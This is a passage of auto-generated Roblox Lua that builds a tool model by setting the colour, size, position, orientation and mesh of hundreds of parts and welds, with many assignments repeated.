  4062. Part357.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4063. BlockMesh358.Parent = Part357
  4064. BlockMesh358.Scale = Vector3.new(0.333333373, 0.0333333351, 0.0666666701)
  4065. BlockMesh358.Scale = Vector3.new(0.333333373, 0.0333333351, 0.0666666701)
  4066. Part359.Parent = Tool0
  4067. Part359.Material = Enum.Material.Metal
  4068. Part359.BrickColor = BrickColor.new("Dark stone grey")
  4069. Part359.Rotation = Vector3.new(90, 0, 0)
  4070. Part359.Anchored = true
  4071. Part359.FormFactor = Enum.FormFactor.Custom
  4072. Part359.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4073. Part359.CFrame = CFrame.new(143.782944, 3.47324896, 144.39093, 1, 0, 0, 0, 0, -1, 0, 1, 0)
  4074. Part359.BottomSurface = Enum.SurfaceType.Smooth
  4075. Part359.TopSurface = Enum.SurfaceType.Smooth
  4076. Part359.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4077. Part359.Position = Vector3.new(143.782944, 3.47324896, 144.39093)
  4078. Part359.Orientation = Vector3.new(90, 0, 0)
  4079. Part359.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4080. CylinderMesh360.Parent = Part359
  4081. CylinderMesh360.Scale = Vector3.new(0.366666675, 0.333333343, 0.366666675)
  4082. CylinderMesh360.Scale = Vector3.new(0.366666675, 0.333333343, 0.366666675)
  4083. Part361.Parent = Tool0
  4084. Part361.Material = Enum.Material.Metal
  4085. Part361.BrickColor = BrickColor.new("Dark stone grey")
  4086. Part361.Rotation = Vector3.new(-90, -90, 0)
  4087. Part361.Anchored = true
  4088. Part361.FormFactor = Enum.FormFactor.Custom
  4089. Part361.Size = Vector3.new(0.200000003, 0.200000003, 0.666666746)
  4090. Part361.CFrame = CFrame.new(144.152939, 3.97324204, 144.290939, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  4091. Part361.BottomSurface = Enum.SurfaceType.Smooth
  4092. Part361.TopSurface = Enum.SurfaceType.Smooth
  4093. Part361.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4094. Part361.Position = Vector3.new(144.152939, 3.97324204, 144.290939)
  4095. Part361.Orientation = Vector3.new(0, -90, 90)
  4096. Part361.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4097. BlockMesh362.Parent = Part361
  4098. BlockMesh362.Scale = Vector3.new(0.166666493, 0.0666666701, 1)
  4099. BlockMesh362.Scale = Vector3.new(0.166666493, 0.0666666701, 1)
  4100. Part363.Parent = Tool0
  4101. Part363.Material = Enum.Material.Metal
  4102. Part363.BrickColor = BrickColor.new("Black")
  4103. Part363.Rotation = Vector3.new(90, 0, 90)
  4104. Part363.Anchored = true
  4105. Part363.FormFactor = Enum.FormFactor.Custom
  4106. Part363.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4107. Part363.CFrame = CFrame.new(143.742935, 3.39324498, 144.39093, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  4108. Part363.BottomSurface = Enum.SurfaceType.Smooth
  4109. Part363.TopSurface = Enum.SurfaceType.Smooth
  4110. Part363.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4111. Part363.Position = Vector3.new(143.742935, 3.39324498, 144.39093)
  4112. Part363.Orientation = Vector3.new(90, -90, 0)
  4113. Part363.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4114. SpecialMesh364.Parent = Part363
  4115. SpecialMesh364.Scale = Vector3.new(0.666666687, 0.233333334, 0.50000006)
  4116. SpecialMesh364.MeshType = Enum.MeshType.Wedge
  4117. SpecialMesh364.Scale = Vector3.new(0.666666687, 0.233333334, 0.50000006)
  4118. Part365.Parent = Tool0
  4119. Part365.Material = Enum.Material.Metal
  4120. Part365.BrickColor = BrickColor.new("Dark stone grey")
  4121. Part365.Rotation = Vector3.new(90, 0, -180)
  4122. Part365.Anchored = true
  4123. Part365.FormFactor = Enum.FormFactor.Custom
  4124. Part365.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4125. Part365.CFrame = CFrame.new(143.219604, 4.00657988, 144.457596, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4126. Part365.BottomSurface = Enum.SurfaceType.Smooth
  4127. Part365.TopSurface = Enum.SurfaceType.Smooth
  4128. Part365.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4129. Part365.Position = Vector3.new(143.219604, 4.00657988, 144.457596)
  4130. Part365.Orientation = Vector3.new(90, 180, 0)
  4131. Part365.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4132. BlockMesh366.Parent = Part365
  4133. BlockMesh366.Scale = Vector3.new(0.99999994, 0.0666664839, 0.166666657)
  4134. BlockMesh366.Scale = Vector3.new(0.99999994, 0.0666664839, 0.166666657)
  4135. Part367.Parent = Tool0
  4136. Part367.Material = Enum.Material.Metal
  4137. Part367.BrickColor = BrickColor.new("Dark stone grey")
  4138. Part367.Rotation = Vector3.new(-90, 0, -180)
  4139. Part367.Anchored = true
  4140. Part367.FormFactor = Enum.FormFactor.Custom
  4141. Part367.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4142. Part367.CFrame = CFrame.new(144.12294, 3.76324797, 144.28093, -1, 0, 0, 0, 0, 1, 0, 1, -0)
  4143. Part367.BottomSurface = Enum.SurfaceType.Smooth
  4144. Part367.TopSurface = Enum.SurfaceType.Smooth
  4145. Part367.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4146. Part367.Position = Vector3.new(144.12294, 3.76324797, 144.28093)
  4147. Part367.Orientation = Vector3.new(-90, -180, 0)
  4148. Part367.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4149. CylinderMesh368.Parent = Part367
  4150. CylinderMesh368.Scale = Vector3.new(0.333333343, 0.0333333351, 3.33333349)
  4151. CylinderMesh368.Scale = Vector3.new(0.333333343, 0.0333333351, 3.33333349)
  4152. Part369.Parent = Tool0
  4153. Part369.Material = Enum.Material.Metal
  4154. Part369.BrickColor = BrickColor.new("Black")
  4155. Part369.Rotation = Vector3.new(-90, 0, 90)
  4156. Part369.Anchored = true
  4157. Part369.FormFactor = Enum.FormFactor.Custom
  4158. Part369.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4159. Part369.CFrame = CFrame.new(143.632935, 3.79992294, 144.290939, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  4160. Part369.BottomSurface = Enum.SurfaceType.Smooth
  4161. Part369.TopSurface = Enum.SurfaceType.Smooth
  4162. Part369.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4163. Part369.Position = Vector3.new(143.632935, 3.79992294, 144.290939)
  4164. Part369.Orientation = Vector3.new(-90, 90, 0)
  4165. Part369.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4166. BlockMesh370.Parent = Part369
  4167. BlockMesh370.Scale = Vector3.new(0.0666666031, 0.333333582, 0.166666716)
  4168. BlockMesh370.Scale = Vector3.new(0.0666666031, 0.333333582, 0.166666716)
  4169. Part371.Parent = Tool0
  4170. Part371.Material = Enum.Material.Metal
  4171. Part371.BrickColor = BrickColor.new("Black")
  4172. Part371.Rotation = Vector3.new(-90, -90, 0)
  4173. Part371.Anchored = true
  4174. Part371.FormFactor = Enum.FormFactor.Custom
  4175. Part371.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4176. Part371.CFrame = CFrame.new(144.409607, 3.78991199, 144.290939, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  4177. Part371.BottomSurface = Enum.SurfaceType.Smooth
  4178. Part371.TopSurface = Enum.SurfaceType.Smooth
  4179. Part371.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4180. Part371.Position = Vector3.new(144.409607, 3.78991199, 144.290939)
  4181. Part371.Orientation = Vector3.new(0, -90, 90)
  4182. Part371.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4183. BlockMesh372.Parent = Part371
  4184. BlockMesh372.Scale = Vector3.new(0.266666532, 0.0666666701, 0.766666472)
  4185. BlockMesh372.Scale = Vector3.new(0.266666532, 0.0666666701, 0.766666472)
  4186. Part373.Parent = Tool0
  4187. Part373.Material = Enum.Material.Metal
  4188. Part373.BrickColor = BrickColor.new("Black")
  4189. Part373.Rotation = Vector3.new(90, 0, -180)
  4190. Part373.Anchored = true
  4191. Part373.FormFactor = Enum.FormFactor.Custom
  4192. Part373.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4193. Part373.CFrame = CFrame.new(143.099594, 3.94657993, 144.387604, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4194. Part373.BottomSurface = Enum.SurfaceType.Smooth
  4195. Part373.TopSurface = Enum.SurfaceType.Smooth
  4196. Part373.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4197. Part373.Position = Vector3.new(143.099594, 3.94657993, 144.387604)
  4198. Part373.Orientation = Vector3.new(90, 180, 0)
  4199. Part373.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4200. BlockMesh374.Parent = Part373
  4201. BlockMesh374.Scale = Vector3.new(0.200000018, 0.733333051, 0.166666642)
  4202. BlockMesh374.Scale = Vector3.new(0.200000018, 0.733333051, 0.166666642)
  4203. Part375.Parent = Tool0
  4204. Part375.Material = Enum.Material.Metal
  4205. Part375.BrickColor = BrickColor.new("Black")
  4206. Part375.Rotation = Vector3.new(-90, 0, 90)
  4207. Part375.Anchored = true
  4208. Part375.FormFactor = Enum.FormFactor.Custom
  4209. Part375.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4210. Part375.CFrame = CFrame.new(143.772934, 3.61992002, 144.340927, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  4211. Part375.BottomSurface = Enum.SurfaceType.Smooth
  4212. Part375.TopSurface = Enum.SurfaceType.Smooth
  4213. Part375.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4214. Part375.Position = Vector3.new(143.772934, 3.61992002, 144.340927)
  4215. Part375.Orientation = Vector3.new(-90, 90, 0)
  4216. Part375.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4217. SpecialMesh376.Parent = Part375
  4218. SpecialMesh376.Scale = Vector3.new(0.166666567, 0.0666666403, 0.233333319)
  4219. SpecialMesh376.MeshType = Enum.MeshType.Wedge
  4220. SpecialMesh376.Scale = Vector3.new(0.166666567, 0.0666666403, 0.233333319)
  4221. Part377.Parent = Tool0
  4222. Part377.Material = Enum.Material.Metal
  4223. Part377.BrickColor = BrickColor.new("Dark stone grey")
  4224. Part377.Rotation = Vector3.new(90, 0, -180)
  4225. Part377.Anchored = true
  4226. Part377.FormFactor = Enum.FormFactor.Custom
  4227. Part377.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4228. Part377.CFrame = CFrame.new(143.219604, 4.04324293, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4229. Part377.BottomSurface = Enum.SurfaceType.Smooth
  4230. Part377.TopSurface = Enum.SurfaceType.Smooth
  4231. Part377.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4232. Part377.Position = Vector3.new(143.219604, 4.04324293, 144.444275)
  4233. Part377.Orientation = Vector3.new(90, 180, 0)
  4234. Part377.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4235. BlockMesh378.Parent = Part377
  4236. BlockMesh378.Scale = Vector3.new(0.600000143, 0.0666662827, 0.200000033)
  4237. BlockMesh378.Scale = Vector3.new(0.600000143, 0.0666662827, 0.200000033)
  4238. Part379.Parent = Tool0
  4239. Part379.Material = Enum.Material.Metal
  4240. Part379.BrickColor = BrickColor.new("Dark stone grey")
  4241. Part379.Rotation = Vector3.new(90, 0, -90)
  4242. Part379.Anchored = true
  4243. Part379.FormFactor = Enum.FormFactor.Custom
  4244. Part379.Size = Vector3.new(0.200000003, 0.200000003, 0.633333981)
  4245. Part379.CFrame = CFrame.new(143.996262, 3.39325094, 144.39093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  4246. Part379.BottomSurface = Enum.SurfaceType.Smooth
  4247. Part379.TopSurface = Enum.SurfaceType.Smooth
  4248. Part379.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4249. Part379.Position = Vector3.new(143.996262, 3.39325094, 144.39093)
  4250. Part379.Orientation = Vector3.new(90, 90, 0)
  4251. Part379.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4252. BlockMesh380.Parent = Part379
  4253. BlockMesh380.Scale = Vector3.new(0.799999952, 0.0999999717, 1)
  4254. BlockMesh380.Scale = Vector3.new(0.799999952, 0.0999999717, 1)
  4255. Part381.Parent = Tool0
  4256. Part381.Material = Enum.Material.Metal
  4257. Part381.BrickColor = BrickColor.new("Dark stone grey")
  4258. Part381.Rotation = Vector3.new(90, 0, -180)
  4259. Part381.Anchored = true
  4260. Part381.FormFactor = Enum.FormFactor.Custom
  4261. Part381.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4262. Part381.CFrame = CFrame.new(143.229599, 4.03324604, 144.39093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4263. Part381.BottomSurface = Enum.SurfaceType.Smooth
  4264. Part381.TopSurface = Enum.SurfaceType.Smooth
  4265. Part381.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4266. Part381.Position = Vector3.new(143.229599, 4.03324604, 144.39093)
  4267. Part381.Orientation = Vector3.new(90, 180, 0)
  4268. Part381.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4269. CylinderMesh382.Parent = Part381
  4270. CylinderMesh382.Scale = Vector3.new(0.0666666776, 0.400000066, 0.0666666776)
  4271. CylinderMesh382.Scale = Vector3.new(0.0666666776, 0.400000066, 0.0666666776)
  4272. Part383.Parent = Tool0
  4273. Part383.Material = Enum.Material.Metal
  4274. Part383.BrickColor = BrickColor.new("Dark stone grey")
  4275. Part383.Rotation = Vector3.new(90, 0, -180)
  4276. Part383.Anchored = true
  4277. Part383.FormFactor = Enum.FormFactor.Custom
  4278. Part383.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4279. Part383.CFrame = CFrame.new(143.222946, 4.09323978, 144.39093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4280. Part383.BottomSurface = Enum.SurfaceType.Smooth
  4281. Part383.TopSurface = Enum.SurfaceType.Smooth
  4282. Part383.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4283. Part383.Position = Vector3.new(143.222946, 4.09323978, 144.39093)
  4284. Part383.Orientation = Vector3.new(90, 180, 0)
  4285. Part383.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4286. BlockMesh384.Parent = Part383
  4287. BlockMesh384.Scale = Vector3.new(0.0233333316, 0.199999943, 0.0433333293)
  4288. BlockMesh384.Scale = Vector3.new(0.0233333316, 0.199999943, 0.0433333293)
  4289. Part385.Parent = Tool0
  4290. Part385.Material = Enum.Material.Metal
  4291. Part385.BrickColor = BrickColor.new("Dark stone grey")
  4292. Part385.Rotation = Vector3.new(-90, 90, 0)
  4293. Part385.Anchored = true
  4294. Part385.FormFactor = Enum.FormFactor.Custom
  4295. Part385.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4296. Part385.CFrame = CFrame.new(143.222946, 4.06658077, 144.39093, 0, 0, 1, -1, 0, 0, 0, -1, 0)
  4297. Part385.BottomSurface = Enum.SurfaceType.Smooth
  4298. Part385.TopSurface = Enum.SurfaceType.Smooth
  4299. Part385.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4300. Part385.Position = Vector3.new(143.222946, 4.06658077, 144.39093)
  4301. Part385.Orientation = Vector3.new(0, 90, -90)
  4302. Part385.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4303. SpecialMesh386.Parent = Part385
  4304. SpecialMesh386.MeshId = "http://www.roblox.com/asset/?id=3270017"
  4305. SpecialMesh386.Scale = Vector3.new(0.0700000003, 0.0700000003, 0.0400000028)
  4306. SpecialMesh386.MeshType = Enum.MeshType.FileMesh
  4307. SpecialMesh386.Scale = Vector3.new(0.0700000003, 0.0700000003, 0.0400000028)
  4308. Part387.Parent = Tool0
  4309. Part387.Material = Enum.Material.Metal
  4310. Part387.BrickColor = BrickColor.new("Dark stone grey")
  4311. Part387.Rotation = Vector3.new(-90, -60, -90)
  4312. Part387.Anchored = true
  4313. Part387.FormFactor = Enum.FormFactor.Custom
  4314. Part387.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4315. Part387.CFrame = CFrame.new(144.182877, 3.54566407, 144.39093, 0, 0.499927282, -0.86606741, 0, 0.86606741, 0.499927282, 1, 0, -0)
  4316. Part387.BottomSurface = Enum.SurfaceType.Smooth
  4317. Part387.TopSurface = Enum.SurfaceType.Smooth
  4318. Part387.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4319. Part387.Position = Vector3.new(144.182877, 3.54566407, 144.39093)
  4320. Part387.Orientation = Vector3.new(-30, -90, 0)
  4321. Part387.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4322. SpecialMesh388.Parent = Part387
  4323. SpecialMesh388.Scale = Vector3.new(0.299999982, 0.0333333388, 0.333333373)
  4324. SpecialMesh388.MeshType = Enum.MeshType.Wedge
  4325. SpecialMesh388.Scale = Vector3.new(0.299999982, 0.0333333388, 0.333333373)
  4326. Part389.Parent = Tool0
  4327. Part389.Material = Enum.Material.Metal
  4328. Part389.BrickColor = BrickColor.new("Dark stone grey")
  4329. Part389.Rotation = Vector3.new(90, 0, -180)
  4330. Part389.Anchored = true
  4331. Part389.FormFactor = Enum.FormFactor.Custom
  4332. Part389.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4333. Part389.CFrame = CFrame.new(143.219604, 4.00657988, 144.324265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4334. Part389.BottomSurface = Enum.SurfaceType.Smooth
  4335. Part389.TopSurface = Enum.SurfaceType.Smooth
  4336. Part389.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4337. Part389.Position = Vector3.new(143.219604, 4.00657988, 144.324265)
  4338. Part389.Orientation = Vector3.new(90, 180, 0)
  4339. Part389.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4340. BlockMesh390.Parent = Part389
  4341. BlockMesh390.Scale = Vector3.new(0.99999994, 0.0666664839, 0.166666657)
  4342. BlockMesh390.Scale = Vector3.new(0.99999994, 0.0666664839, 0.166666657)
  4343. Part391.Parent = Tool0
  4344. Part391.Material = Enum.Material.Metal
  4345. Part391.BrickColor = BrickColor.new("Black")
  4346. Part391.Rotation = Vector3.new(-90, 0, 90)
  4347. Part391.Anchored = true
  4348. Part391.FormFactor = Enum.FormFactor.Symmetric
  4349. Part391.Size = Vector3.new(1, 1, 1)
  4350. Part391.CFrame = CFrame.new(143.902939, 3.09325004, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  4351. Part391.BottomSurface = Enum.SurfaceType.Smooth
  4352. Part391.TopSurface = Enum.SurfaceType.Smooth
  4353. Part391.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4354. Part391.Position = Vector3.new(143.902939, 3.09325004, 144.39093)
  4355. Part391.Orientation = Vector3.new(-90, 90, 0)
  4356. Part391.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4357. Decal392.Parent = Part391
  4358. Decal392.Texture = "http://www.roblox.com/asset/?id=47760372"
  4359. BlockMesh393.Parent = Part391
  4360. BlockMesh393.Scale = Vector3.new(0.13333334, 0.166666672, 0.0333333351)
  4361. BlockMesh393.Scale = Vector3.new(0.13333334, 0.166666672, 0.0333333351)
  4362. Part394.Parent = Tool0
  4363. Part394.Material = Enum.Material.Metal
  4364. Part394.BrickColor = BrickColor.new("Black")
  4365. Part394.Rotation = Vector3.new(-90, -15.0099993, 0)
  4366. Part394.Anchored = true
  4367. Part394.FormFactor = Enum.FormFactor.Custom
  4368. Part394.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4369. Part394.CFrame = CFrame.new(143.101059, 3.81787395, 144.300934, 0.965896666, 0, -0.258930802, 0.258930802, 0, 0.965896666, 0, -1, -0)
  4370. Part394.BottomSurface = Enum.SurfaceType.Smooth
  4371. Part394.TopSurface = Enum.SurfaceType.Smooth
  4372. Part394.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4373. Part394.Position = Vector3.new(143.101059, 3.81787395, 144.300934)
  4374. Part394.Orientation = Vector3.new(-74.9899979, -90, 90)
  4375. Part394.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4376. CylinderMesh395.Parent = Part394
  4377. CylinderMesh395.Scale = Vector3.new(3.33333373, 0.133333027, 0.333333343)
  4378. CylinderMesh395.Scale = Vector3.new(3.33333373, 0.133333027, 0.333333343)
  4379. Part396.Parent = Tool0
  4380. Part396.Material = Enum.Material.Metal
  4381. Part396.BrickColor = BrickColor.new("Black")
  4382. Part396.Rotation = Vector3.new(-90, 0, 90)
  4383. Part396.Anchored = true
  4384. Part396.FormFactor = Enum.FormFactor.Custom
  4385. Part396.Size = Vector3.new(0.200000003, 0.686666667, 0.200000003)
  4386. Part396.CFrame = CFrame.new(144.67627, 3.76324797, 144.444275, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  4387. Part396.BottomSurface = Enum.SurfaceType.Smooth
  4388. Part396.TopSurface = Enum.SurfaceType.Smooth
  4389. Part396.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4390. Part396.Position = Vector3.new(144.67627, 3.76324797, 144.444275)
  4391. Part396.Orientation = Vector3.new(-90, 90, 0)
  4392. Part396.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4393. CylinderMesh397.Parent = Part396
  4394. CylinderMesh397.Scale = Vector3.new(0.659999967, 1, 0.659999967)
  4395. CylinderMesh397.Scale = Vector3.new(0.659999967, 1, 0.659999967)
  4396. Part398.Parent = Tool0
  4397. Part398.Material = Enum.Material.Metal
  4398. Part398.Rotation = Vector3.new(90, 0, -180)
  4399. Part398.Anchored = true
  4400. Part398.FormFactor = Enum.FormFactor.Custom
  4401. Part398.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4402. Part398.CFrame = CFrame.new(143.222931, 4.05324411, 144.467606, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4403. Part398.BottomSurface = Enum.SurfaceType.Smooth
  4404. Part398.TopSurface = Enum.SurfaceType.Smooth
  4405. Part398.Position = Vector3.new(143.222931, 4.05324411, 144.467606)
  4406. Part398.Orientation = Vector3.new(90, 180, 0)
  4407. CylinderMesh399.Parent = Part398
  4408. CylinderMesh399.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
  4409. CylinderMesh399.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
  4410. Part400.Parent = Tool0
  4411. Part400.Material = Enum.Material.Metal
  4412. Part400.BrickColor = BrickColor.new("Black")
  4413. Part400.Rotation = Vector3.new(-90, 0, 90)
  4414. Part400.Anchored = true
  4415. Part400.FormFactor = Enum.FormFactor.Custom
  4416. Part400.Size = Vector3.new(0.213333264, 0.200000003, 0.200000003)
  4417. Part400.CFrame = CFrame.new(144.296265, 3.75324702, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  4418. Part400.BottomSurface = Enum.SurfaceType.Smooth
  4419. Part400.TopSurface = Enum.SurfaceType.Smooth
  4420. Part400.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4421. Part400.Position = Vector3.new(144.296265, 3.75324702, 144.39093)
  4422. Part400.Orientation = Vector3.new(-90, 90, 0)
  4423. Part400.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4424. BlockMesh401.Parent = Part400
  4425. BlockMesh401.Scale = Vector3.new(1, 0.10000024, 0.433333337)
  4426. BlockMesh401.Scale = Vector3.new(1, 0.10000024, 0.433333337)
  4427. ManualWeld402.Name = "Part-to-Handle Strong Joint"
  4428. ManualWeld402.Parent = Part400
  4429. ManualWeld402.C0 = CFrame.new(-0.106666632, 0.100000001, 0.100000001, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  4430. ManualWeld402.C1 = CFrame.new(0.106674194, 0.187796831, -0.109344482, 1, 0, 0, 0, 1, -6.29127026e-05, 0, 6.29127026e-05, 1)
  4431. ManualWeld402.Part0 = Part400
  4432. ManualWeld402.Part1 = Part30
  4433. Part403.Parent = Tool0
  4434. Part403.Material = Enum.Material.Metal
  4435. Part403.BrickColor = BrickColor.new("Dark stone grey")
  4436. Part403.Rotation = Vector3.new(90, 0.00999999978, 90)
  4437. Part403.Anchored = true
  4438. Part403.FormFactor = Enum.FormFactor.Custom
  4439. Part403.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4440. Part403.CFrame = CFrame.new(144.286911, 3.52544999, 144.39093, 0, -1, 0.00012601912, 0, -0.00012601912, -1, 1, 0, 0)
  4441. Part403.BottomSurface = Enum.SurfaceType.Smooth
  4442. Part403.TopSurface = Enum.SurfaceType.Smooth
  4443. Part403.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4444. Part403.Position = Vector3.new(144.286911, 3.52544999, 144.39093)
  4445. Part403.Orientation = Vector3.new(90, -90, 0)
  4446. Part403.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4447. BlockMesh404.Parent = Part403
  4448. BlockMesh404.Scale = Vector3.new(0.599999964, 0.100000009, 0.166666672)
  4449. BlockMesh404.Scale = Vector3.new(0.599999964, 0.100000009, 0.166666672)
  4450. ManualWeld405.Name = "Part-to-Handle Strong Joint"
  4451. ManualWeld405.Parent = Part403
  4452. ManualWeld405.C0 = CFrame.new(-0.100000001, 0.100000001, 0.100000001, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  4453. ManualWeld405.C1 = CFrame.new(-0.100006104, -0.240013361, -0.100036621, -1, 0, 0, 0, -1, -0.000188931823, 0, -0.000188931823, 1)
  4454. ManualWeld405.Part0 = Part403
  4455. ManualWeld405.Part1 = Part30
  4456. Part406.Parent = Tool0
  4457. Part406.Material = Enum.Material.Metal
  4458. Part406.BrickColor = BrickColor.new("Black")
  4459. Part406.Rotation = Vector3.new(90, 0, 90)
  4460. Part406.Anchored = true
  4461. Part406.FormFactor = Enum.FormFactor.Custom
  4462. Part406.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4463. Part406.CFrame = CFrame.new(143.782944, 3.52990699, 144.340927, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  4464. Part406.BottomSurface = Enum.SurfaceType.Smooth
  4465. Part406.TopSurface = Enum.SurfaceType.Smooth
  4466. Part406.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4467. Part406.Position = Vector3.new(143.782944, 3.52990699, 144.340927)
  4468. Part406.Orientation = Vector3.new(90, -90, 0)
  4469. Part406.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4470. BlockMesh407.Parent = Part406
  4471. BlockMesh407.Scale = Vector3.new(0.166666523, 0.0333333574, 0.866666496)
  4472. BlockMesh407.Scale = Vector3.new(0.166666523, 0.0333333574, 0.866666496)
  4473. Part408.Parent = Tool0
  4474. Part408.Material = Enum.Material.Metal
  4475. Part408.BrickColor = BrickColor.new("Dark stone grey")
  4476. Part408.Rotation = Vector3.new(90, 0, 90)
  4477. Part408.Anchored = true
  4478. Part408.FormFactor = Enum.FormFactor.Custom
  4479. Part408.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4480. Part408.CFrame = CFrame.new(143.766266, 3.54324698, 144.39093, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  4481. Part408.BottomSurface = Enum.SurfaceType.Smooth
  4482. Part408.TopSurface = Enum.SurfaceType.Smooth
  4483. Part408.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4484. Part408.Position = Vector3.new(143.766266, 3.54324698, 144.39093)
  4485. Part408.Orientation = Vector3.new(90, -90, 0)
  4486. Part408.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4487. BlockMesh409.Parent = Part408
  4488. BlockMesh409.Scale = Vector3.new(0.333333343, 0.199999973, 0.666666687)
  4489. BlockMesh409.Scale = Vector3.new(0.333333343, 0.199999973, 0.666666687)
  4490. Part410.Parent = Tool0
  4491. Part410.Material = Enum.Material.Metal
  4492. Part410.BrickColor = BrickColor.new("Dark stone grey")
  4493. Part410.Rotation = Vector3.new(90, 0, -180)
  4494. Part410.Anchored = true
  4495. Part410.FormFactor = Enum.FormFactor.Custom
  4496. Part410.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4497. Part410.CFrame = CFrame.new(143.802933, 3.25991702, 144.320938, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4498. Part410.BottomSurface = Enum.SurfaceType.Smooth
  4499. Part410.TopSurface = Enum.SurfaceType.Smooth
  4500. Part410.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4501. Part410.Position = Vector3.new(143.802933, 3.25991702, 144.320938)
  4502. Part410.Orientation = Vector3.new(90, 180, 0)
  4503. Part410.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4504. CylinderMesh411.Parent = Part410
  4505. CylinderMesh411.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
  4506. CylinderMesh411.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
  4507. Part412.Parent = Tool0
  4508. Part412.Material = Enum.Material.Metal
  4509. Part412.BrickColor = BrickColor.new("Dark stone grey")
  4510. Part412.Rotation = Vector3.new(90, 0, -180)
  4511. Part412.Anchored = true
  4512. Part412.FormFactor = Enum.FormFactor.Custom
  4513. Part412.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4514. Part412.CFrame = CFrame.new(143.222946, 4.0665741, 144.360931, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4515. Part412.BottomSurface = Enum.SurfaceType.Smooth
  4516. Part412.TopSurface = Enum.SurfaceType.Smooth
  4517. Part412.Color = Color3.new(0.388235, 0.372549, 0.384314)
